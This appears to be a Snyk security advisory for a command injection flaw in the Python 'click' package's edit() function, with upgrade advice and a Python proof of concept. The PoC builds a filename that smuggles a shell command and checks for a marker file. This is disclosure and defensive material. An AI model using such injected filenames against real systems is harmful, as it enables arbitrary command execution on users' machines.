Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade click to version 8.3.3 or higher.
Affected versions of this package are vulnerable to Command Injection via the filename parameter passed to edit_files() function via click.edit(). This function invokes a subprocess with shell=True that can be injected into by including double-quoted strings in a malicious filename. An attacker who can convince a user to follow a malicious link can cause OS commands to be executed.
#!/usr/bin/env python3
import os
import subprocess
import click
def main():
marker_file = "click_pwned_marker"
malicious_filename = f'clickpoc"; touch {marker_file}; echo "'
print(f"[*] Malicious filename: {malicious_filename}")
try:
subprocess.run(['touch', malicious_filename], check=True)
print(f"[+] File exists: {os.path.exists(malicious_filename)}")
except Exception as e:
print(f"[-] Failed to create file: {e}")
return
try:
result = click.edit(filename=malicious_filename, editor='true')
print(f"[*] click.edit() returned: {result}")
except Exception as e:
print(f"[!] Exception: {e}")
finally:
if os.path.exists(malicious_filename):
os.remove(malicious_filename)
if os.path.exists(marker_file):
print(f"[+] SUCCESS: marker file '{marker_file}' was created by the injected command.")
else:
print("[-] Marker file NOT created.")
if __name__ == "__main__":
main()